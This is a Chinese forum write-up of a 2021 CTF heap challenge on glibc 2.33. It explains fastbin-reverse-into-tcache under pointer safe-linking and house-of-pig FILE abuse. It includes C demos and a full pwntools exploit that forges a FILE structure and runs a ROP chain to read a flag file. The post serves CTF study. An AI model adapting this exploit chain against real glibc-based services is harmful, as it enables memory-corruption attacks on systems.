首页
社区
课程
招聘
[原创]从2021年西湖论剑一道题看高版本libc解题思路
发表于: 2022-5-18 16:24 16893

[原创]从2021年西湖论剑一道题看高版本libc解题思路

2022-5-18 16:24
16893

这是2021年西湖论剑初赛上的一道一解(好像是,记不太清是不是1解了)高版本libc题,版本为2.33,两个hook仍然存在,但是许多利用手法与之前有一定出入,在这里通过这样一道题来熟悉高版本下的漏洞利用手法

这道题callmecro已经写过一篇详细的复现:https://www.anquanke.com/post/id/260059

采用的是largebin attack,但是并非预期解,本篇文章采用fastbin reverse into tcache来达到仅使用fastbin 范围内的chunk实现任意+8对齐地址写一个堆地址的目的。本篇文章的重点也在于通过这道题引出不同版本下fastbin reverse into tcache的使用。

并且如果采用fastbin reverse into tcache来解题,会大大降低堆风水的难度,不需要非常小心的使用内存空间,exp看起来也会清爽很多。

1.fastbin reverse into tcache

2.house of pig中的IO利用部分

在2.27-2.31版本中,没有对fd指针加密,所以在利用的时候非常简单,只需要将tcache填满,然后放7个chunk进fastbin,并将第一个放进fastbin的chunk的fd改成目标地址,然后清空tcache,申请一个fastbin出来,就可以将target链入tcache并且是在头部,这样即可实现任意地址写一个堆地址的目的,还能将链入tcache的地址申请出来,达到任意地址写任意值。

我们来调试一份demo代码:

在第29行我们下个断点看看:

图片描述

此时fastbin中放进去了7个,tcache也已经被清空,并且最先放进去的fastbin的fd也已经被修改

我们执行一下malloc:

图片描述

可以看到,目标地址被链入tcache,且其fd位置上的值被改成了一个堆地址

从libc2.32开始,针对tcache和fastbin的fd指针都进行了一个加密,加密过程是用当前chunk的地址>>12去和fd值异或,并将结果作为新的fd值,所以在进行fastbin reverse into tcache的时候,就不能单纯的将fastbin的fd该成目标地址了,需要先和其地址>>12去异或

我们一起来调试一下这份新demo:

这里记得把libc版本更换到2.32或以上

将断点打在30行,来看看:

图片描述

可以看到pwndbg已经显示不出来完整的fastbin链了,因为fd指针是加密过的,但是这只是解析问题,不会影响我们后续的工作,我们将处理好的fd写到第一个放进fastbin的chunk的fd处,然后执行malloc看看

图片描述

tcache也无法识别出完整的链了,但是我们仍然将目标地址链入了tcache中,可是有一个问题,写到fd位置的地址不再是一个正确的堆地址,而是加密后的,对于tiny_note这道题而言,由于申请的时候限制在了一页中,所以链入的地址是无法申请到的。

接下来我们要想其他的方法实现写入堆地址的目的

我们再次观察其写入过程:

图片描述

我们看到在keys的位置仍然写入的是正确的堆地址,并没有进行加密,但是keys的写入过程有一个检查,就是必须+8位置对齐 ,所以我们其实是无法通过写keys写入IO_list_all的,但是chain是在+8位置的,所以我们可以通过keys写入chain来打IO

house of pig的IO部分主要利用了IO_str_overflow,具体利用可以直接看这篇文章:https://www.anquanke.com/post/id/242640

我们回归题目本身,简要叙述一下攻击过程

1.首先通过UAF泄露堆地址

2.然后利用tcache和UAF实现一个一页内的任意地址写

3.利用部分范围的任意地址写修改chunk的size,让其进入unsortedbin从而泄露libc

4.利用fastbin reverse into tcache将chain写成heapbase+0x10

5.利用任意地址写不断完善fake FILE

6.利用house of pig配合setcontext+61完成orw

注:题目本身还需要利用getdents64获取flag名再去orw,但不是本次复现的重点,所以略去此步

exp:

最后放一个打通的结果图吧:
图片描述

 
 
 
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  *(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  char *q = malloc(allocsize);
  return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  *(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  char *q = malloc(allocsize);
  return 0;
}
 
 
 
 
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  long long stack_var[6];
  stack_var[2]=(long long)stack_var>>12;
  *(size_t**)victim = ((long long)victim>>12)^((long long)stack_var);
//*(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  long long stack_var[6];
  stack_var[2]=(long long)stack_var>>12;
  *(size_t**)victim = ((long long)victim>>12)^((long long)stack_var);
//*(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  return 0;
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('35.246.158.241',32131)
libc = ELF('./libc-2.33.so')
elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def menu(choice):
    sla("Choice:",str(choice))
def add(index):
    menu(1)
    sla("Index:",str(index))
def edit(index,context):
    menu(2)
    sla("Index:",str(index))
    sa("Content:",context)
def show(index):
    menu(3)
    sla("Index:",str(index))
def free(index):
    menu(4)
    sla("Index:",str(index))
 
#-----------------------leak heapbase--------------------------
add(0)
add(1)
free(0)
show(0)
ru("Content:")
heapbase=u64(io.recv(5).ljust(8,'\x00'))
heapbase=heapbase<<12
lg("heapbase")
 
 
#-----------------------leak libcbase------------------------------
heap=heapbase+0x2b0
xor=heapbase>>12
free(1)
edit(1,p64(xor^heap))
add(1)
add(0)
edit(0,p64(0)+p64(0x421))
for i in range(33):
    add(0)
free(1)
show(1)
ru("Content:")
libcbase=u64(io.recv(6).ljust(8,'\x00'))-(0x7f514304ec00-0x7f5142e6e000)
lg("libcbase")
io_list_all=libcbase+0x1e15c0
io_str_jumps=libcbase+(0x7f6b247b0560-0x7f6b245ce000)
free_hook=libcbase+libc.sym['__free_hook']
pcop=libcbase+0x14a0a0
lg("pcop")
setcontext=libcbase+libc.sym['setcontext']
rdi_ret=libcbase+0x0000000000028a55
rsi_ret=libcbase+0x000000000002a4cf
rdx_ret=libcbase+0x00000000000c7f32
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
#----------------------fastbin reverse into tcache---------------------------
##---------change tcache count-----------
add(0)
add(1)
free(0)
free(1)
heap=heapbase+0x10
edit(1,p64(xor^heap))
add(0)
add(0)
edit(0,p64(0))
 
##------------full fastbin----------------
add(1)#change fd
add(2)#full fastbin
free(1)
edit(0,p64(2))
edit(1,p64(xor^heapbase+0x90))
add(1)
add(1)
for i in range(7):
    edit(0,p64(0))
    add(2)
    edit(0,p64(i))
    free(2)
edit(0,p64(0))
add(2)
edit(0,p64(7))
free(2)
heap=heapbase+0x400
edit(2,p64(xor^(io_list_all+0x70)))
for i in range(6):
    add(2)
    edit(0,p64(7))
    free(2)
    edit(0,p64(6-i))
edit(0,p64(0))
edit(1,p64(io_list_all>>12))
add(2)
 
def change(addr,context):
    edit(0,p64(1))
    edit(1,p64(addr))
    add(2)
    edit(2,context)
 
length=0x230
start = heapbase + 0x600
end = start + ((length) - 100)//2
change(heapbase+0x30,p64(1)+p64(0xffffffffffff))
change(heapbase+0x40,p64(0)+p64(start))
change(heapbase+0x50,p64(end))
change(heapbase+0xd0,p64(0))
change(heapbase+0xe0,p64(0)+p64(io_str_jumps))
change(heapbase+0x1a0,p64(free_hook))
change(start,p64(pcop)+p64(heapbase+0x700))
change(heapbase+0x720,p64(setcontext+61))
change(heapbase+0x7a0,p64(heapbase+0x800)+p64(rdi_ret))
change(heapbase+0x7c0,'flag'.ljust(0x10,'\x00'))
change(heapbase+0x800,p64(heapbase+0x7c0)+p64(rsi_ret))
change(heapbase+0x810,p64(0)+p64(open))
change(heapbase+0x820,p64(rdi_ret)+p64(3))
change(heapbase+0x830,p64(rsi_ret)+p64(heapbase+0x900))
change(heapbase+0x840,p64(rdx_ret)+p64(0x50))
change(heapbase+0x850,p64(read)+p64(rdi_ret))
change(heapbase+0x860,p64(1)+p64(write))
 
#----------exit--------------
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)
 
irt()
from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('35.246.158.241',32131)
libc = ELF('./libc-2.33.so')
elf=ELF("./pwn")

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 4
支持
分享
打赏 + 80.00雪花
打赏次数 1 雪花 + 80.00
 
赞赏  Editor   +80.00 2022/06/27 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (3)
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
感谢分享,将题目附件上传一份?
2022-5-18 16:36
0
雪    币: 1217
活跃值: (3382)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
3
题目附件如下:
链接:https://pan.baidu.com/s/1qLcV556tJsfwfmzmLjDfOA 
提取码:3nt4
2022-5-19 09:02
0
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
4

感谢,我上传本地收藏一下。

上传的附件:
2022-5-19 10:08
0
游客
登录 | 注册 方可回帖
返回
//